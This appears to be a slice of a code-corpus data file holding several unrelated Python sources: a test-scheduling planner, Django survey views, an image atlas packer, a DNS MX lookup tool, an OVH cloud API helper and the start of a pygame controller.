try:\n self.work(item)\n except Exception:\n log.exception(\"exception in QueueListener.work(), data: %s\", item)\n log.warn(\"queue listener: queue exhausted\")\n\n def stop(self):\n log.info(\"Stopping planner\")\n for c in self.channels:\n self.redis.publish(c, \"stop\")\n\n\nclass StreamProxy(object):\n def __init__(self, stream):\n self.id = stream.id\n self.policy = stream.policy\n self.interval = stream.interval\n self.cron_rule = stream.cron_rule\n self.repr = str(stream)\n\n def __str__(self):\n return self.repr\n\n def __repr__(self):\n return self.repr\n\n\nclass Planner(object):\n def __init__(self, ctrl, blast):\n self.ctrl = ctrl\n self.blast = blast\n self.scheduler = None\n self.redis = None\n self.queue_listener = None\n self.stream_jobs = {}\n\n def start(self):\n self.redis = dbcommon.get_redis()\n self.queue_listener = QueueListener(self, self.redis, [REDIS_CHANNEL])\n self.queue_listener.start()\n # default maxthreads is 20. watch out for sqlalchemy connection pool\n # limits when increasing this value. we accept some inaccuracy\n # that will happen if there are overlapping jobs at the same time\n # waiting in the thread pool queue.\n self.scheduler = Scheduler({'threadpool.maxthreads': 1})\n self.scheduler.start()\n self.scheduler.add_cron_job(self.log_jobs, minute='*')\n self.populate_stream_jobs()\n\n def populate_stream_jobs(self):\n q = db.session.query(db.Stream)\n q = q.filter(db.Stream.policy.in_((db.TESTING_TRIGGER_POLICY_INTERVAL, db.TESTING_TRIGGER_POLICY_CRON)))\n q = q.filter(db.Stream.obsolete == False)\n for stream in q.all():\n self.add_update_stream_job(stream)\n if stream.policy == db.TESTING_TRIGGER_POLICY_INTERVAL:\n self._add_tests_to_stream(stream, stream.policy, reschedule_interval=False)\n db.session.commit()\n\n def log_jobs(self):\n jobs = self.scheduler.get_jobs()\n log.info('Jobs scheduled: %s', len(jobs))\n for i, job in enumerate(jobs):\n log.debug('Job %4s: %s', i, job)\n db.session.close()\n\n def add_interval_job_for_stream(self, stream):\n stream = StreamProxy(stream)\n job = self.scheduler.add_interval_job(\n lambda: self.add_tests_to_stream(stream.id, stream.policy),\n minutes=stream.interval,\n name=\"{0} - interval {1}\".format(stream, stream.interval),\n max_instances=1)\n self.stream_jobs[stream.id] = job\n\n def add_cron_job_for_stream(self, stream):\n stream = StreamProxy(stream)\n minutes, hours, days, months, dow = utils.parse_cron_rule(stream.cron_rule)\n job = self.scheduler.add_cron_job(\n lambda: self.add_tests_to_stream(stream.id, stream.policy),\n minute=minutes, hour=hours, day=days, month=months, day_of_week=dow,\n name=\"{0} - cron {1}\".format(stream, stream.cron_rule),\n max_instances=1)\n self.stream_jobs[stream.id] = job\n\n def unschedule_job_for_stream(self, stream):\n stream = StreamProxy(stream)\n if stream.id in self.stream_jobs:\n self.scheduler.unschedule_job(self.stream_jobs[stream.id])\n del self.stream_jobs[stream.id]\n\n def add_update_stream_job(self, stream):\n stream = StreamProxy(stream)\n self.unschedule_job_for_stream(stream)\n\n if stream.policy == db.TESTING_TRIGGER_POLICY_CRON:\n self.add_cron_job_for_stream(stream)\n log.info(\"%s policy set to %s (cron) rule=%s.\", stream, stream.policy, stream.cron_rule)\n elif stream.policy == db.TESTING_TRIGGER_POLICY_INTERVAL:\n self.add_interval_job_for_stream(stream)\n log.info(\"%s policy set to %s (interval) minutes=%s\", stream, stream.policy, stream.interval)\n else:\n log.info(\"%s policy %s does not require a scheduler job.\", stream, stream.policy)\n\n def update_stream_params(self, stream_id):\n stream = dbcommon.get_entity(db.Stream, stream_id, include_obsolete=False)\n self.add_update_stream_job(stream)\n db.session.commit()\n\n def new_testing_added(self, build_id, stream_id):\n try:\n stream = dbcommon.get_entity(db.Stream, stream_id)\n except Exception:\n db.session.rollback()\n db.session.close()\n stream = dbcommon.get_entity(db.Stream, stream_id)\n\n if stream.policy == db.TESTING_TRIGGER_POLICY_INTERVAL:\n try:\n build = dbcommon.get_entity(db.Build, build_id)\n except dbcommon.NotFoundError:\n db.session.rollback()\n db.session.close()\n build = dbcommon.get_entity(db.Build, build_id)\n log.info(\"New %s added to %s - refreshing interval job\", build, stream)\n self.add_update_stream_job(stream)\n db.session.commit()\n db.session.close()\n\n def add_tests_to_stream(self, stream_id, stream_policy):\n stream = dbcommon.get_entity(db.Stream, stream_id, include_obsolete=False)\n self._add_tests_to_stream(stream, stream_policy)\n\n def _add_tests_to_stream(self, stream, old_policy, reschedule_interval=True):\n # guard against changing stream policy without notification, e.g. when redis is down\n if stream.policy not in (db.TESTING_TRIGGER_POLICY_INTERVAL, db.TESTING_TRIGGER_POLICY_CRON):\n log.warn(\"Invalid policy for %s (%s).\", stream, stream.policy)\n self.unschedule_job_for_stream(stream)\n return\n\n if old_policy != stream.policy:\n log.warn(\"Job was scheduled on %s with different stream policy than is currently set \"\n \"(old %s != current %s).\", stream, old_policy, stream.policy)\n self.add_update_stream_job(stream)\n\n if reschedule_interval and stream.policy == db.TESTING_TRIGGER_POLICY_INTERVAL:\n log.info(\"Adding tests to interval stream %s - rescheduling job.\", stream)\n self.unschedule_job_for_stream(stream)\n self.add_interval_job_for_stream(stream)\n else:\n log.info(\"Adding tests to %s.\", stream)\n\n q = db.Build.query.filter_by(obsolete=False)\n if stream.require_successful_build:\n q = db.Build.query.filter_by(build_succeeded=True)\n q = q.join(\"product\", \"product_rules\", \"branch\", \"streams\")\n q = q.filter(db.Stream.id == stream.id)\n q = q.filter(db.ProductRule.build == None) # Only take build from ProductRule that specifies the latest build\n q = q.filter(db.ProductRule.obsolete == False)\n q = q.order_by(db.Build.datetime.desc())\n q = q.limit(1)\n build = q.first()\n if build is None:\n log.info(\"No builds on %s to test.\", stream)\n elif not stream.planner_run_always \\\n and db.session.query(db.Task).filter_by(build=build, obsolete=False, stream=stream).filter(\n db.Task.testing_batch != None).count() > 0:\n log.info(\"%s on %s has tasks. Not adding more.\", build, stream)\n else:\n log.info(\"Scheduling tests on %s for latest build: %s\", stream, build)\n dbcommon.fire_task_plans(stream, build, \"planner\")\n\n def shutdown(self):\n db.session.commit()\n db.session.close()\n self.queue_listener.stop()\n self.scheduler.shutdown()\n self.queue_listener.join(1)\n\n\nclass Notifier(object):\n def __init__(self):\n self.redis = dbcommon.get_redis()\n\n def update_stream_params(self, stream_id):\n self._call_method('update_stream_params', {'stream_id': stream_id})\n\n def new_testing_added(self, build_id, stream_id):\n self._call_method('new_testing_added', {'build_id': build_id, 'stream_id': stream_id})\n\n def _call_method(self, name, kwargs):\n data = json.dumps({'method': name, 'kwargs': kwargs})\n self.redis.publish(REDIS_CHANNEL, data)\n\nnotifier = Notifier()\n\n\nclass PlannerProcess(forker.LoopingProcess):\n def loop_prolog(self): # pylint: disable=W0221\n log.info(\"Starting planner %s...\", self.process_id)\n\n self.dburl = dbcommon.get_setting(\"database\")\n db.setup(self.dburl)\n\n # get controller address and port information\n srv_addr = dbcommon.get_setting('server_addr')\n srv_port = int(dbcommon.get_setting('server_ctrl_port'))\n\n paths.setup()\n\n url = 'http://%s:%s' % (srv_addr, srv_port)\n ctrl = utils.Server(xmlrpclib.Server(url))\n\n blast = dbcommon.Blast(dbcommon.get_setting(\"blast_enabled\"))\n\n planner = Planner(ctrl, blast)\n planner.start()\n self.planner = planner\n\n log.info(\"Planner started\")\n\n def loop_routine(self):\n db.session.commit()\n return 5\n\n def loop_epilog(self):\n log.info(\"Planner stopping\")\n self.planner.shutdown()\n","sub_path":"berta/berta/planner.py","file_name":"planner.py","file_ext":"py","file_size_in_byte":10761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"200816363","text":"# coding=utf-8\nimport datetime\nfrom django.shortcuts import render_to_response, \\\n get_object_or_404, render, redirect\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom django.core.urlresolvers import reverse\nfrom django.views.generic import View, TemplateView, RedirectView\nfrom django.views.generic.edit import FormView, CreateView\nfrom django.forms import formset_factory\nfrom django.template import RequestContext\nfrom django.contrib.auth.models import User\nfrom survey.models import *\nfrom alatting_website.model.poster import Poster\nfrom alatting_website.models import Category\nfrom survey import *\nfrom account.models import Person\nfrom survey.form.forms import *\n\n\n'''\n显示空白调查问卷\n'''\n\n\nclass QuestionnaireBlankView(View):\n\n def get(self, request, **kwargs):\n poster = get_object_or_404(Poster, pk=self.kwargs['poster_id'])\n role = self.request.GET.get('role', '')\n contextdict = {'poster_id': poster.pk,\n 'role': role}\n return render_to_response('survey/mobile/questionset_blank.html',\n contextdict)\n\n def post(self, request, **kwargs):\n role = self.request.GET.get('role', '')\n if role == \"creator\":\n return HttpResponseRedirect(\n reverse('posters:select_template',\n kwargs={'poster_pk': self.kwargs['poster_id']}\n ))\n else:\n kwargs = {'pk': self.kwargs['poster_id']}\n return HttpResponseRedirect(reverse('posters:show', kwargs=kwargs))\n\n'''\n显示调查问卷\n'''\n\n\nclass StartView(RedirectView):\n\n def get_redirect_url(self, *args, **kwargs):\n poster = get_object_or_404(Poster, pk=self.kwargs['poster_id'])\n role = self.request.GET.get('role', '')\n qu = Questionnaire.objects.filter(main_category=poster.main_category,\n sub_category=poster.sub_category,\n role=role).first()\n if not qu:\n qu = Questionnaire.objects.filter(main_category=poster.main_category,\n sub_category__isnull=True,\n role=role).first()\n if not qu:\n kwargs = {'poster_id': poster.pk}\n return '%s?role=%s' % (\n reverse('survey:questionnaireblank', kwargs=kwargs), role)\n\n su = self.request.user\n qs = qu.questionsets()[0]\n run = RunInfo(subject=su, questionset=qs, poster=poster)\n run.save()\n\n kwargs = {'runid': run.id}\n return reverse('survey:questionnaire', kwargs=kwargs)\n\n\nclass QuestionnaireView(View):\n\n def get_progress(self, runinfo):\n position = 0\n total = 0\n qs = runinfo.questionset\n qs_sets = qs.questionnaire.questionsets()\n\n for q in qs_sets:\n total = total + 1\n if q.pk == qs.pk:\n position = total\n progress = float(position) / float(total) * 100.00\n return int(progress)\n\n def get_pre_ans(self, runinfo, question):\n ans = Answer.objects.filter(subject=runinfo.subject,\n question=question,\n poster=runinfo.poster).order_by(\"-id\")\n if ans:\n return ans[0].answer\n else:\n return None\n\n def get_q_added_by_creator(self, runinfo):\n q_text_added_by_creator = []\n poster = runinfo.poster\n qu = Questionnaire.objects.filter(main_category=poster.main_category,\n sub_category=poster.sub_category,\n role='consumer').first()\n if not qu:\n qu = Questionnaire.objects.filter(main_category=poster.main_category,\n sub_category__isnull=True,\n role='consumer').first()\n if qu:\n q_added_by_creator = Question.objects.filter(questionset__questionnaire=qu,\n audit_status__in=[0, 1],\n poster=poster).order_by('sortid')\n for q in q_added_by_creator:\n if q.type in ['choice', 'choice-input', 'checkbox', 'checkbox-input']:\n if q.choices_count()==0:\n continue\n q_text_added_by_creator.append({\"id\":q.pk, \"text\":q.text})\n\n return q_text_added_by_creator\n\n def process_value(self, ans, question, qssortid, value):\n # choice: name=\"question_{{ question.sortid }}\"\n # text/textarea: \"question_{{ question.sortid }}\"\n # ans: {'ANSWER': ...}\n if len(qssortid) == 2:\n ans['ANSWER'] = value\n # checkbox: name=\"question_{{ question.sortid }}_{{choice.sortid}}\"\n # ans: {choice.sortid: ..., choice.sortid: ... }\n elif len(qssortid) == 3:\n ans[qssortid[2]] = value\n # choice-input: name=\"question_{{ question.sortid }}_radio_choice\"\n # choice-input: name=\"question_{{ question.sortid }}_{{ choice.sortid}}_comment\"\n # ans: {choice.sortid: {'ANSWER': ..., 'COMMENT': ...}}\n elif len(qssortid) == 4 and qssortid[3] in ['choice', 'comment']:\n if qssortid[3] == 'choice':\n if value.startswith(\"_entry_\"):\n choice_selected_value = value.replace(\"_entry_\", \"\")\n else:\n choice_selected_value = value\n choice_selected = Choice.objects.filter(question=question,\n value=choice_selected_value).first()\n choice_selected_sortid = choice_selected.sortid\n if choice_selected_sortid not in ans:\n ans[choice_selected_sortid] = {}\n ans[choice_selected_sortid]['ANSWER'] = value\n elif qssortid[3] == 'comment':\n choice_sortid = int(qssortid[2])\n if choice_sortid not in ans:\n ans[choice_sortid] = {}\n ans[choice_sortid]['COMMENT'] = value\n # checkbox-input: name=\"question_{{ question.sortid }}_{{ choice.sortid}}_checkbox_choice\"\n # checkbox-input: name=\"question_{{ question.sortid }}_{{ choice.sortid}}_checkbox_comment\"\n # ans: {choice.sortid: {'ANSWER': ..., 'COMMENT': ...}}\n elif len(qssortid) == 5 and qssortid[3] == 'checkbox':\n if qssortid[4] == 'choice':\n choice_sortid = int(qssortid[2])\n if choice_sortid not in ans:\n ans[choice_sortid] = {}\n ans[choice_sortid]['ANSWER'] = value\n elif qssortid[4] == 'comment':\n choice_sortid = int(qssortid[2])\n if choice_sortid not in ans:\n ans[choice_sortid] = {}\n ans[choice_sortid]['COMMENT'] = value\n return ans\n\n def show_questionnaire(self, request, runinfo, errors={}):\n questionset = runinfo.questionset\n questionnaire = questionset.questionnaire\n qs_title = questionset.heading\n questions = questionset.questions_in_poster(runinfo.poster.pk)\n qlist = []\n for question in questions:\n Type = question.get_type()\n prev_ans = self.get_pre_ans(runinfo, question)\n qdict = {\n 'template': 'questionnaire/%s.html' % (Type),\n 'qtype': Type,\n 'prev_ans': prev_ans,\n }\n if Type in QuestionProcessors:\n qdict.update(QuestionProcessors[Type](request, question))\n qlist.append((question, qdict))\n\n prev_url = \"javascript:void(0)\"\n if questionset.prev():\n prev = questionset.prev()\n sortid = prev.sortid\n kwargs = {'runid': runinfo.id,\n 'qs_sortid': sortid}\n prev_url = reverse('survey:questionset', kwargs=kwargs)\n else:\n if runinfo.questionset.questionnaire.role == \"creator\":\n kwargs = {'pk': runinfo.poster.pk}\n prev_url = reverse('poster:update_form', kwargs=kwargs)\n else:\n kwargs = {'pk': runinfo.poster.pk}\n prev_url = reverse('posters:show', kwargs=kwargs)\n\n progress = self.get_progress(runinfo)\n\n islast_consumer_repeat = False\n if questionset.is_last() and questionnaire.role == \"consumer\":\n prev_hist = RunInfoHistory.objects.filter(subject=runinfo.subject,\n questionnaire=questionnaire,\n poster=runinfo.poster)\n if prev_hist:\n islast_consumer_repeat = True\n\n islast_consumer = False\n if questionset.is_last() and questionnaire.role == \"consumer\":\n islast_consumer = True\n\n islast_creator = False\n if questionset.is_last() and questionnaire.role == \"creator\":\n islast_creator = True\n q_added_by_creator = []\n if islast_creator:\n q_added_by_creator = self.get_q_added_by_creator(runinfo)\n\n poster_id = runinfo.poster.pk\n choice_formset = formset_factory(ChoiceForm)\n ChoiceFormSet = choice_formset(prefix='form')\n choice_input_formset = formset_factory(ChoiceInputForm)\n ChoiceInputFormSet = choice_input_formset(prefix='form-input') \n\n contextdict = {'qs_title': qs_title,\n 'questionset': questionset,\n 'qlist': qlist,\n 'prev_url': prev_url,\n 'progress': progress,\n 'errors': errors,\n 'islast_consumer_repeat': islast_consumer_repeat,\n 'islast_consumer': islast_consumer,\n 'islast_creator': islast_creator,\n 'poster_id': poster_id,\n 'formset': ChoiceFormSet,\n 'input_formset':ChoiceInputFormSet,\n 'q_added_by_creator':q_added_by_creator}\n return render_to_response('survey/mobile/questionset.html',\n contextdict)\n\n def add_answer(self, runinfo, question, ans):\n answer = Answer()\n answer.question = question\n answer.subject = runinfo.subject\n answer.poster = runinfo.poster\n answer.runid = runinfo.pk\n answer.answer = ans\n Answer.objects.filter(subject=runinfo.subject,\n runid=runinfo.pk, question=question).delete()\n answer.save()\n return True\n\n def get(self, request, **kwargs):\n runid = self.kwargs['runid']\n runinfo = RunInfo.objects.get(pk=runid)\n\n if 'qs_sortid' in self.kwargs:\n questionset = QuestionSet.objects.filter(\n questionnaire=runinfo.questionset.questionnaire,\n sortid=self.kwargs['qs_sortid']).first()\n runinfo.questionset = questionset\n runinfo.save()\n\n return self.show_questionnaire(request, runinfo)\n\n def post(self, request, **kwargs):\n runid = self.kwargs['runid']\n runinfo = RunInfo.objects.get(pk=runid)\n questionset = runinfo.questionset\n questionnaire = questionset.questionnaire\n\n if 'qs_sortid' in self.kwargs:\n questionset = QuestionSet.objects.filter(\n questionnaire=questionnaire,\n sortid=self.kwargs['qs_sortid']).first()\n runinfo.questionset = questionset\n runinfo.save()\n\n items = request.POST.items()\n extra = {}\n # generate the answer_dict for each posted question, and place in extra\n posted_ids = []\n for item in items:\n key, value = item[0], item[1]\n\n if key.startswith('question_'):\n qssortid = key.split(\"_\")\n question = Question.objects.filter(\n sortid=qssortid[1],\n questionset=questionset,\n questionset__questionnaire=questionnaire\n ).first()\n posted_ids.append(int(qssortid[1]))\n if not question:\n continue\n ans = {}\n if question in extra:\n ans = extra.get(question)\n ans = self.process_value(ans, question, qssortid, value)\n extra[question] = ans\n # generate none for each empty quesiton, and place in extra\n expected = questionset.questions_in_poster(runinfo.poster.pk)\n empty_ids = []\n for q in expected:\n if q.sortid in posted_ids:\n continue\n empty_ids.append(q.sortid)\n for q in empty_ids:\n question = Question.objects.filter(\n sortid=q,\n questionset=questionset,\n questionset__questionnaire=questionnaire\n ).first()\n if not question:\n continue\n extra[question] = None\n\n errors = {}\n for question, ans in extra.items():\n Type = question.type\n exception = False\n ans_tp = \"\"\n try:\n ans_tp = Processors[Type](question, ans)\n except AnswerException as e:\n exception = True\n errors[question.sortid] = str(e)\n if (exception == False):\n self.add_answer(runinfo, question, ans_tp)\n if len(errors) > 0:\n return self.show_questionnaire(request, runinfo, errors)\n\n next = questionset.next()\n if next:\n runinfo.questionset = next\n runinfo.save()\n kwargs = {'runid': runinfo.id}\n return HttpResponseRedirect(\n reverse('survey:questionnaire', kwargs=kwargs))\n\n prev_hist = RunInfoHistory.objects.filter(subject=runinfo.subject,\n questionnaire=questionnaire,\n poster=runinfo.poster).all()\n for ph in prev_hist:\n ph.isactive = False\n ph.save()\n\n hist = RunInfoHistory()\n hist.subject = runinfo.subject\n hist.poster = runinfo.poster\n hist.runid = runinfo.pk\n hist.completed = datetime.datetime.now()\n hist.questionnaire = questionnaire\n hist.isactive = True\n hist.save()\n\n if hist.questionnaire.role == \"creator\":\n return redirect(\n reverse('posters:select_template',\n kwargs={'poster_pk': hist.poster.id}\n ))\n else:\n re_url = \"%s?active=consumer\" % reverse('account:profile')\n return redirect(re_url)\n\n'''\n显示调查问卷答案\n'''\n\n\nclass AnswerDetailView(TemplateView):\n template_name = \"survey/mobile/answer_detail.html\"\n\n def get_context_data(self, **kwargs):\n context = super(AnswerDetailView, self).get_context_data(**kwargs)\n poster_id = self.kwargs['poster_id']\n role = self.request.GET.get('role', '')\n\n poster = get_object_or_404(Poster, pk=poster_id)\n qu = Questionnaire.objects.filter(main_category=poster.main_category,\n sub_category=poster.sub_category,\n role=role).first()\n if not qu:\n qu = Questionnaire.objects.filter(main_category=poster.main_category,\n sub_category__isnull=True,\n role=role).first()\n\n context['poster'] = poster\n context['person'] = Person.objects.filter(user=poster.creator).first()\n\n results = {}\n for his in RunInfoHistory.objects.filter(\n poster_id=poster_id, questionnaire__role=role,\n isactive=True).order_by('-completed'):\n results.setdefault(his, [])\n for ans in Answer.objects.filter(poster_id=poster_id,\n question__questionset__questionnaire=qu,\n runid=his.runid):\n results[his].append(ans)\n context['results'] = results\n return context","sub_path":"survey/view/mobile.py","file_name":"mobile.py","file_ext":"py","file_size_in_byte":16429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"460623687","text":"import Image\r\nimport glob\r\nimport os\r\nimport sys\r\nimport xml.dom.minidom\r\n\r\n# Adapted from http://www.retroaffect.com/blog/159/Image_Atlas_Packer/\r\n# Retro Affect has given permission to redistribute this file in original or modified form,\r\n# so long as credit to them is retained in the file.\r\n\r\n## Settings ##\r\n\r\n#Directory to load images from\r\nimageDirectory = './source_image/'\r\n\r\n#Directory to save the atlas images and the atlas dictionary\r\nsaveDirectory = './output_image/'\r\n\r\n# --------------------- IMPORTANT ---------------------\r\n# The variable atlasSize below dictates the size of each exported atlas\r\n\r\n## End Settings ##\r\n\r\n\r\n#Create the Dictionary\r\ndoc = xml.dom.minidom.Document()\r\ntextureAtlas = doc.createElement(\"list\")\r\ntextureAtlas.setAttribute(\"name\", \"textureAtlas\")\r\ndoc.appendChild(textureAtlas)\r\n\r\n##### Image Packer #####\r\n\r\nclass PackAtlas(object):\r\n\r\n #Create an image that can fit smaller images within it\r\n def __init__(self, area):\r\n #Assume the two elements within the tupple are width and height, and origin is (0,0)\r\n if len(area) == 2:\r\n area = (0,0,area[0],area[1])\r\n self.area = area\r\n\r\n def __repr__(self):\r\n return \"<%s %s>\" % (self.__class__.__name__, str(self.area))\r\n\r\n def get_width(self):\r\n return self.area[2] - self.area[0]\r\n width = property(fget=get_width)\r\n\r\n def get_height(self):\r\n return self.area[3] - self.area[1]\r\n height = property(fget=get_height)\r\n\r\n def insert(self, area):\r\n if hasattr(self, 'child'):\r\n a = self.child[0].insert(area)\r\n if a is None: return self.child[1].insert(area)\r\n return a\r\n\r\n area = PackAtlas(area)\r\n \r\n if area.width <= self.width and area.height <= self.height:\r\n self.child = [None,None]\r\n self.child[0] = PackAtlas((self.area[0]+area.width, self.area[1], self.area[2], self.area[1] + area.height))\r\n self.child[1] = PackAtlas((self.area[0], self.area[1]+area.height, self.area[2], self.area[3]))\r\n return PackAtlas((self.area[0], self.area[1], self.area[0]+area.width, self.area[1]+area.height))\r\n \r\n##### XML Generation #####\r\n\r\n# Original / Retro Affect format\r\nclass RetroAffectXmlDump:\r\n def render(self, doc, textureAtlas, left, right, top, bottom, filename, aDirName, atlasNumber): \r\n #Dictionary Entry\r\n table = doc.createElement(\"table\")\r\n textureAtlas.appendChild(table)\r\n\r\n #Name\r\n paragraph1 = doc.createElement(\"string\")\r\n paragraph1.setAttribute(\"name\", \"name\")\r\n table.appendChild(paragraph1)\r\n\r\n ptext = doc.createTextNode( filename )\r\n paragraph1.appendChild(ptext)\r\n\r\n #Atlas Name\r\n paragraph1 = doc.createElement(\"string\")\r\n paragraph1.setAttribute(\"name\", \"atlas\" )\r\n table.appendChild(paragraph1)\r\n\r\n ptext = doc.createTextNode( \".\" + saveDirectory[33:] + aDirName + \"-\" + str(atlasNumber) + \".png\" )\r\n paragraph1.appendChild(ptext)\r\n\r\n #Image location in the atlas\r\n \r\n #Left\r\n paragraph1 = doc.createElement(\"real\")\r\n paragraph1.setAttribute(\"name\", \"left\")\r\n table.appendChild(paragraph1)\r\n\r\n ptext = doc.createTextNode( left )\r\n paragraph1.appendChild(ptext)\r\n\r\n #Top\r\n paragraph1 = doc.createElement(\"real\")\r\n paragraph1.setAttribute(\"name\", \"top\")\r\n table.appendChild(paragraph1)\r\n\r\n ptext = doc.createTextNode( top )\r\n paragraph1.appendChild(ptext)\r\n\r\n #Right\r\n paragraph1 = doc.createElement(\"real\")\r\n paragraph1.setAttribute(\"name\", \"right\")\r\n table.appendChild(paragraph1)\r\n\r\n ptext = doc.createTextNode( right )\r\n paragraph1.appendChild(ptext)\r\n\r\n #Bottom\r\n paragraph1 = doc.createElement(\"real\")\r\n paragraph1.setAttribute(\"name\", \"bottom\")\r\n table.appendChild(paragraph1)\r\n\r\n ptext = doc.createTextNode( bottom )\r\n paragraph1.appendChild(ptext)\r\n\r\n# Jumpcore format\r\nclass JumpcoreXmlDump:\r\n def __init__(self):\r\n self.elems = {}\r\n \r\n def render(self, doc, textureAtlas, left, right, top, bottom, filename, aDirName, atlasNumber): \r\n atlasname = aDirName + \"-\" + str(atlasNumber) + \".png\"\r\n \r\n if (atlasname in self.elems):\r\n elem = self.elems[atlasname]\r\n else:\r\n elem = doc.createElement(\"atlas\")\r\n self.elems[atlasname] = elem\r\n elem.setAttribute(\"filename\", atlasname)\r\n elem.setAttribute(\"basename\", aDirName) # Feels unnecessary.\r\n elem.setAttribute(\"index\", str(atlasNumber))\r\n textureAtlas.appendChild(elem)\r\n \r\n table = doc.createElement(\"image\")\r\n elem.appendChild(table)\r\n \r\n table.setAttribute(\"name\", filename.split(\"/\")[-1])\r\n table.setAttribute(\"left\", left)\r\n table.setAttribute(\"right\", right)\r\n table.setAttribute(\"top\", top)\r\n table.setAttribute(\"bottom\", bottom)\r\n \r\n##### Main #####\r\n\r\ndef packImages( aDir, aDirName, atlasSide ):\r\n atlasSize = atlasSide, atlasSide #size of each atlas\r\n format = 'RGBA' #image format\r\n names = glob.glob(aDir + \"/*.png\") #file type of the packable images\r\n\r\n atlasNumber = 1 #saving convention\r\n atlasList = []\r\n \r\n xmldump = JumpcoreXmlDump()\r\n\r\n #create a list of image objects, sorted by size\r\n if names: \r\n images = sorted([(i.size[1], name, i) for name,i in ((x,Image.open(x)) for x in names)], reverse=True)\r\n #Create the Atlas\r\n tree = PackAtlas(atlasSize)\r\n image = Image.new(format, atlasSize)\r\n atlasList.append( (tree,image) )\r\n else:\r\n images = []\r\n \r\n #insert each image into the PackAtlas area and create the dictionary entries\r\n for area, name, img in images:\r\n \r\n #check if & where the current texture fits\r\n #anywhere where i try to insert, go through a for loop to see if it inserts there\r\n inserted = False\r\n insertedAtlas = 0 # XML render will need to know which atlas we inserted in\r\n iterAtlas = 0 # Used to track atlasList indices during foreach\r\n for entry in atlasList:\r\n uv = entry[0].insert(img.size)\r\n iterAtlas += 1\r\n if uv:\r\n entry[1].paste(img, uv.area)\r\n inserted = True\r\n insertedAtlas = iterAtlas\r\n break\r\n \r\n if not inserted:\r\n tree = PackAtlas(atlasSize)\r\n uv = tree.insert(img.size)\r\n image = Image.new(format, atlasSize)\r\n atlasList.append( (tree,image) )\r\n image.paste(img, uv.area)\r\n insertedAtlas = iterAtlas + 1 # i.e. last index in atlasList plus one\r\n \r\n #location data for the dictionary \r\n left = uv.area[0]\r\n top = uv.area[1]\r\n right = uv.area[0] + img.size[0]\r\n bottom = uv.area[1] + img.size[1]\r\n \r\n left = str(float(left)/atlasSize[0])\r\n top = str(float(top)/atlasSize[1]) \r\n right = str(float(right)/atlasSize[0])\r\n bottom = str(float(bottom)/atlasSize[1])\r\n \r\n filename = img.filename[:-4].replace(\"\\\\\",\"/\") \r\n \r\n xmldump.render(doc, textureAtlas, left, right, top, bottom, filename, aDirName, insertedAtlas)\r\n\r\n atlasNumber = 1\r\n for i in atlasList:\r\n i[1].save( saveDirectory + aDirName + \"-\" + str(atlasNumber) + \".png\")\r\n atlasNumber = atlasNumber + 1\r\n\r\n # loop through every directory\r\n for f in os.listdir( imageDirectory ):\r\n if ( os.path.isdir(aDir + f + \"/\") ):\r\n packImages( aDir + f + \"/\", aDirName + f, 128 if f == \"glows\" else 256 )\r\n\r\n\r\nif __name__ == \"__main__\":\r\n\r\n packImages( imageDirectory, \"\", 64 )\r\n #save the dictionary\r\n file_object = open(saveDirectory + \"atlasDictionary.xml\", \"w\")\r\n doc.writexml(file_object, indent=\"\\n\", addindent=\" \")\r\n file_object.close()\r\n \r\n","sub_path":"repos/footsteps/contents/atlas/atlasExport.py","file_name":"atlasExport.py","file_ext":"py","file_size_in_byte":8104,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"575771383","text":"import argparse\nimport dns.resolver\n\ndef resolve_hostname(name, indent=''):\n indent += \" \"\n answer = dns.resolver.query(name, 'A', raise_on_no_answer=False)\n if answer.rrset is not None:\n for record in answer:\n print(indent, name, \"has A address\", record.address)\n return\n\n answer = dns.resolver.query(name, 'AAAA', raise_on_no_answer=False)\n if answer.rrset is not None:\n for record in answer:\n print(indent, name, \"has AAAA address\", record.address)\n return\n\n answer = dns.resolver.query(name, \"CNAME\", raise_on_no_answer=False)\n\n if answer.rrset is not None:\n record = answer[0]\n cname = record.address\n print(indent, name, \"is a CNAME alias for\", cname)\n resolve_hostname(cname, indent)\n return\n print(indent, \"ERROR: no A, AAAA, or cname records for\", name)\n\ndef resolve_email_domain(domain):\n try:\n answer = dns.resolver.query(domain, 'MX', raise_on_no_answer=False)\n except dns.resolver.NXDOMAIN:\n print(\"Error: There is no such domain\")\n return\n if answer.rrset is not None:\n records = sorted(answer, key=lambda record: record.preference)\n for record in records:\n name = record.exchange.to_text(omit_final_dot=True)\n print(\"Priority:\", record.preference)\n resolve_hostname(name)\n else:\n print(\"This domain has no explict MX records\")\n print(\"Attempting to resolve it as an A, AAAA, or CNAME\")\n resolve_hostname(domain)\n\nif __name__ == \"__main__\":\n parse = argparse.ArgumentParser(description=\"Find mail server IP address\")\n parse.add_argument(\"name\", help=\"which host to look up\")\n resolve_email_domain(parse.parse_args().name)\n","sub_path":"dns_mx.py","file_name":"dns_mx.py","file_ext":"py","file_size_in_byte":1755,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"464421770","text":"# -*- encoding: utf-8 -*-\n\nimport json\n\ndef get_project_id(client, name):\n projects_keys = client.get('/cloud/project')\n #print(projects_keys)\n for key in projects_keys :\n project = client.get('/cloud/project/' + key)\n if project[\"description\"] == name:\n return key\n\n raise ReferenceError()\n\n\ndef disp(dump):\n print(json.dumps(dump, indent=4))\n\n\ndef get_instance_id(client, serviceName, vm_name):\n instances = client.get(f\"/cloud/project/{serviceName}/instance\")\n for instance in instances:\n if instance[\"name\"] == vm_name:\n return instance[\"id\"]\n\n\ndef get_instance_name(client, serviceName, vm_id):\n instances = client.get(f\"/cloud/project/{serviceName}/instance\")\n for instance in instances:\n if instance[\"id\"] == vm_id:\n return instance[\"name\"]\n","sub_path":"ovh_cli/apiovh.py","file_name":"apiovh.py","file_ext":"py","file_size_in_byte":836,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"557054921","text":"import pygame\nimport sys\nimport random\nfrom files import Hero\nfrom files import Platform\nfrom files import Levels\n\n\nclass Controller:\n\tpygame.init()\n\tdef __init__(self, width = 1200, height = 800):\n\t\tself.screen = pygame.display.set_mode((width,height))\n\t\tself.background = pygame.Surface(self.screen.get_size())\n\t\tself.width = width\n\t\tself.height = height\n\t\tself.STATE = 